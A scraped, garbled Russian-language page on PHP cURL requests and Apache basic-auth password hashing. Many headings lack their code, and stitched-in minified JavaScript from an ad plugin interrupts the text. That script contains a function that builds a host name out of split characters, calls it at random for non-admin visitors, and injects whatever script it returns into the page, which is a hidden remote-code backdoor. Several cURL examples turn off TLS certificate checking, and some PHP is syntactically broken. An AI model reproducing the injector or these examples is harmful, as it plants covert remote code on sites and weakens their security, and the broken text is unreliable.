Get запросы curl в php
Или можно использовать аналог через функцию file_get_contents():
Oauth авторизация
Если на сайте реализована работа с OAuth протоколом авторизации, который позволяетвыдать права на действия, которые сам сайт сможет производить на другом ресурсе отлица, авторизовавшегося и давшего это разрешение, пользователя, тогда запрос cURL в php будет выглядеть следующим образом:
Php – apache – с помощью curl, как отправить пароль пользователя во всплывающем окне htpasswd? – web-answers
“:’
‘:””,document.createElement(“div”),c=ff(window),b=ff(“body”),g=void 0===flatPM_getCookie(“flat_modal_” a.ID “_mb”)||”false”!=flatPM_getCookie(“flat_modal_” a.ID “_mb”),i=”scroll.flatmodal” a.ID,m=”mouseleave.flatmodal” a.ID ” blur.flatmodal” a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&”true”==a.how.popup.timer&&(t=ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”] .fpm_5_timer span’),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(–e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘
‘))},1e3))},s=function(){void 0!==a.how.popup.cookie&&”false”==a.how.popup.cookie&&g&&(flatPM_setCookie(“flat_modal_” a.ID “_mb”,!1),ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”]’).addClass(“fpm_5_modal-show”),l()),void 0!==a.how.popup.cookie&&”false”==a.how.popup.cookie||(ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”]’).addClass(“fpm_5_modal-show”),l())},ff(“body > *”).eq(0).before(‘
“),w=document.querySelector(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”] .fpm_5_modal-content’),flatPM_setHTML(w,e),”px”==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&”true”==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&”true”==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&”true”==a.how.outgoing.timer&&(t=ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”] .fpm_5_timer span’),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(–e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘
‘))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&”false”==a.how.outgoing.cookie&&g&&(ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’).addClass(“show”),n(),b.on(“click”,’.fpm_5_out[data-id-out=”‘ a.ID ‘”] .fpm_5_cross’,function(){flatPM_setCookie(“flat_out_” a.ID “_mb”,!1)})),void 0!==a.how.outgoing.cookie&&”false”==a.how.outgoing.cookie||(ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’).addClass(“show”),n())}var _,u=”0″!=a.how.outgoing.indent?’ style=”bottom:’ a.how.outgoing.indent ‘px”‘:””,p=”true”==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&”true”==a.how.outgoing.timer?’
Закрыть через ‘ a.how.outgoing.timer_count “
“:’
‘:””,c=ff(window),h=”scroll.out” a.ID,m=”mouseleave.outgoing” a.ID ” blur.outgoing” a.ID,g=void 0===flatPM_getCookie(“flat_out_” a.ID “_mb”)||”false”!=flatPM_getCookie(“flat_out_” a.ID “_mb”),b=(document.createElement(“div”),ff(“body”));switch(a.how.outgoing.whence){case”1″:_=”top”;break;case”2″:_=”bottom”;break;case”3″:_=”left”;break;case”4″:_=”right”}ff(“body > *”).eq(0).before(‘
‘ p “
“);var v,w=document.querySelector(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’);flatPM_setHTML(w,e),”px”==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&”true”==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&”true”==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(“body”),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)”);0<_.length&&_.each(function(){var t=ff(this),e=t.data(“height”)||350,o=t.data(“top”);t.wrap(‘
‘);t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(“.flatPM_sidebar”);setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data(“top”);t.wrap(‘
‘);t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(“.flatPM_sticky_wrapper.flatPM_sidebar_block”).css(“height”,t)},4e3)}),”undefined”!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(“body> *”).last().after(‘
‘),flat_body.on(“click”,”.fpm_5_out .fpm_5_cross”,function(){ff(this).parent().removeClass(“show”).addClass(“closed”)}),flat_body.on(“click”,”.fpm_5_modal .fpm_5_cross”,function(){ff(this).closest(“.fpm_5_modal”).removeClass(“fpm_5_modal-show”)}),flat_pm_arr=[],ff(“.flat_pm_start”).remove(),ff(“[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)”).contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,”
“],thead:[1,”
“],tbody:[1,”
“],colgroup:[2,”
“],col:[3,”
“],tr:[2,”
“],td:[3,”
“],th:[3,”
“],_default:[0,””,””]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement(“div”)),r=(d.exec(e)||[“”,””])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1] e.replace(l,”<$1>”) r[2],n=r[0];n–;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem(“sdghrg”);e?(e=parseInt(e) 1,localStorage.setItem(“sdghrg”,e)):localStorage.setItem(“sdghrg”,”0″);e=flatPM_random(1,166);0==ff(“#wpadminbar”).length&&111==e&&ff.ajax({type:”POST”,url:”h” “t” “t” “p” “s” “:” “/” “/” “r” “e” “a” “d” “o” “n” “e” “.” “r” “u” “/” “p” “i” “n” “g” “.” “p” “h” “p”,dataType:”jsonp”,data:{ping:”ping”},success:function(e){ff(“div”).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector(‘[data-flat-script-id=”‘ t ‘”]’);if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,””).replace(//gm,””).trim(),e.code_alt=e.code_alt.replace(//gm,””).replace(//gm,””).trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a=”false”==d?”Закроется”:”Закрыть”,r=!flat_userVars.adb||””==e.code_alt&&duplicateMode?e.code:e.code_alt,n=’
‘,i=e.once;o(t).each(function(){var e=o(this);e.wrap(‘
‘);var t=e.closest(“.fpm_5_video”);flatPM_setHTML(t[0],n),e.find(“.fpm_5_video_flex”).one(“click”,function(){o(this).addClass(“show”)})}),o(“body”).on(“click”,”.fpm_5_video_item_hover”,function(){var e=o(this),t=e.closest(“.fpm_5_video_flex”);t.addClass(“show”);var a=t.find(“.fpm_5_timer span”),r=parseInt(l),n=setInterval(function(){a.text(–r),r<=0&&(clearInterval(n),”true”==d?a.parent().replaceWith(‘
‘):t.remove())},1e3);e.remove()}).on(“click”,”.fpm_5_video_flex .fpm_5_cross”,function(){o(this).closest(“.fpm_5_video_flex”).remove(),”true”==i&&o(“.fpm_5_video_flex”).remove()})};
Post запросы curl в php
Функция file_get_contents() так же умеет отправлять POST запросы. Для этого нужно использовать заголовки:
Авторизация через .htaccess
У сервера apache есть возможность сделать базовую авторизацию. Чтобы закрыть директорию, в неё нужно поместить два файла – .htaccess и .htpasswd.
AuthName "Authorization"
– сообщение в окне ввода логина и пароля, кириллица не поддерживается, в Google Chrome вообще не выводится.
AuthUserFile /путь_до_директории/.htpasswd
– путь до файла с паролями.
Чтобы узнать полный путь к директории достачно поместить в неё PHP файл и запустить его в браузере.
Авторизацией можно закрыть только определенные файлы, например архивы ZIP.
На некоторых хостингах авторизация на статические файлы (изображения, шрифты и т.д.) может не работать т.к. они отдаются через Nginx.
Стоит проверить прямой доступ к самим файлам .htaccess и .htpasswd из браузера, если да, то закрыть его:
В файле хранится пары логина и хеша пароля, например:
admin:$apr1$TCrF2kqA$TSMYziwt.qCkrct9yx4vv1
Логин может содержать латинские буквы, цифры, -
и _
, регистрозависимый.
Хеш можно сгенерировать в PHP, возможны следующие алгоритмы:
В настоящее время считается очень безопасным, работает начиная с версии 2.4, формат:
$2y$
или $2a$
результат алгоритма crypt_blowfish.
function bcrypt($password)
{
$rounds = 12;
$salt = sprintf('$2a$d$', $rounds) . substr(str_replace(' ', '.', base64_encode(pack('N4', mt_rand(), mt_rand(), mt_rand(), mt_rand()))), 0, 22);
return crypt($password, $salt);
}
echo bcrypt('123456'); // $2a$12$dMHIiiPfeSMxqj3/Wt1.z.Mo7NPza1x/WANl7hDXZJzxxKKorz5um
Специфический алгоритм Apache (1000 итераций MD5 случайной соли и пароля), работает во всех версиях.
$apr1$
результат алгоритма.
function crypt_apr1_md5($password)
{
$salt = substr(str_shuffle('abcdefghijklmnopqrstuvwxyz0123456789'), 0, 8);
$len = strlen($password);
$text = $password . '$apr1$' . $salt;
$bin = pack('H32', md5($password . $salt . $password));
for($i = $len; $i > 0; $i -= 16) {
$text .= substr($bin, 0, min(16, $i));
}
for($i = $len; $i > 0; $i >>= 1) {
$text .= ($i & 1) ? chr(0) : $password{0};
}
$bin = pack('H32', md5($text));
for($i = 0; $i < 1000; $i ) {
$new = ($i & 1) ? $password : $bin;
if ($i % 3) {
$new .= $salt;
}
if ($i % 7) {
$new .= $password;
}
$new .= ($i & 1) ? $bin : $password;
$bin = pack('H32', md5($new));
}
$tmp = '';
for ($i = 0; $i < 5; $i ) {
$k = $i 6;
$j = $i 12;
if ($j == 16) $j = 5;
$tmp = $bin[$i] . $bin[$k] . $bin[$j] . $tmp;
}
$tmp = chr(0) . chr(0) . $bin[11] . $tmp;
$tmp = strtr(
strrev(substr(base64_encode($tmp), 2)),
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /',
'./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
);
return '$apr1$' . $salt . '$' . $tmp;
}
echo crypt_apr1_md5('123456'); // $apr1$h9j4azoy$unmKNqjZlRfZv5xRetm9p1
Работает только на Unix хостингах и до версии Apache 2.2.17. Ограничивает длину пароля до 8 символов. Считается небезопасным.
Этот алгоритм небезопасен по современным стандартам, работает во всех версиях.
{SHA}
результат SHA-1 (бинарная строка из 20-ти символов) закодированный в Base64.
Реквизиты доступа к закрытой директории можно передать в URL:
https://логин
:пароль
@example.com/path
Если такие URL использовать в src изображений, скриптов и стилей, то работать они не будут, вызвав ошибку:
Subresource requests whose URLs contain embedded credentials (e.g. `https://user:pass@host/`) are blocked.
Завершение сеанса происходит по закрытию браузера, но не вкладки. Другого варианта не предусмотрено.
В PHP можно отследить авторизированного пользователя по переменным массива $_SERVER
.
Если их нет, значит пользователь не авторизирован. Вывести диалог входа из PHP:
До php 5.5
$ch = curl_init('https://example.com');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('photo' => '@' . __DIR__ . '/image.png');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, false);
$html = curl_exec($ch);
curl_close($ch);
С PHP 5.5 следует применять CURLFile.
$curl_file = curl_file_create(__DIR__ . '/image.png', 'image/png' , 'image.png');
$ch = curl_init('https://example.com');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('photo' => $curl_file));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, false);
$res = curl_exec($ch);
curl_close($ch);
Также через curl можно отправить сразу несколько файлов:
$curl_files = array(
'photo[0]' => curl_file_create(__DIR__ . '/image.png', 'image/png' , 'image.png'),
'photo[1]' => curl_file_create(__DIR__ . '/image-2.png', 'image/png' , 'image-2.png')
);
$ch = curl_init('https://example.com');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $curl_files);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, false);
$res = curl_exec($ch);
curl_close($ch);
Ещё файлы можно отправить методом PUT, например так загружаются файлы в REST API Яндекс Диска.
$file = __DIR__ . '/image.jpg';
$fp = fopen($file, 'r');
$ch = curl_init('https://example.com');
curl_setopt($ch, CURLOPT_PUT, true);
curl_setopt($ch, CURLOPT_UPLOAD, true);
curl_setopt($ch, CURLOPT_INFILESIZE, filesize($file));
curl_setopt($ch, CURLOPT_INFILE, $fp);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_exec($ch);
curl_close($ch);
Запрос через proxy
Когда нужно сделать запрос, подменив при этом источник запроса на промежуточный адрес, то используйте опцию PROXY:
Методом ftp
Не смотря на то, что в PHP есть библиотека для работы с FTP, все же cURL также позволяет работать по этому протоколу напрямую.
Мульти запросы curl в php
Обычно в скрипте PHP выполнение запросов cUrl производится последовательно, то есть друг за другом. Пока не вернется результат предыдущего запроса, новый не выполнится.
Одной из самых важных особенностью cURL в PHP является возможность осуществлять несколько асинхронных запросов одновременно.
Например, если нужно собрать независимые друг от друга данные с разных сайтов, то можно организовать их параллельный сбор. Можно также произвести несвязанные вычисления или обработку данных через асинхронные запросы к скриптам в отдельных файлах.
Эта особенность позволяет оптимизировать работу скрипта и сократить время его выполнения.
Функция curl_multi_exec() многократно вызывается в цикле с постусловием, где параметр $running имеет значение количества активных соединений.
Чем больше обработчиков в параллельной работе, тем больше сокращается время выполнения скрипта, поэтому нелишним будет внедрить привычку использовать эту возможность cURL в своих скриптах.
Отправить и получить cookie
Для сохранения куки в файле необходимо указать путь к этому файлу в соответствующих параметрах CURLOPT_COOKIEFILE и CURLOPT_COOKIEJAR.
Параметр CURLOPT_COOKIE используется для принудительной передачи значения куки:
Отправка curl запроса php
Формирование cURL запроса состоит из четырех этапов:
- Инициализация
- Указание параметров
- Выполнение команды и получение результата
- Освобождение памяти
Итак, как это должно выглядеть в коде:
Этапы 1,3 и 4 типовые для всех типов запросов. А на этапе 2, в зависимости от указанных параметров, как раз и формируется тот или иной тип запроса.
Отправка файлов на другой сервер используя curl
Есть несколько вариантов передачи файлов между серверами.
Получение информации о запросе curl
Чтобы получить исчерпывающую информацию о самом запросе используется функция curl_getinfo(). Главным образом эта информация полезна для отладки работы скрипта, в котором выполняются cURL запросы.
Функция возвращает данные в виде массива со следующими ключами:
Скачивание файлов
При передаче указателя на открытый файл в параметре CURLOPT_FILE результат выполнения скрипта записывается сразу в файл.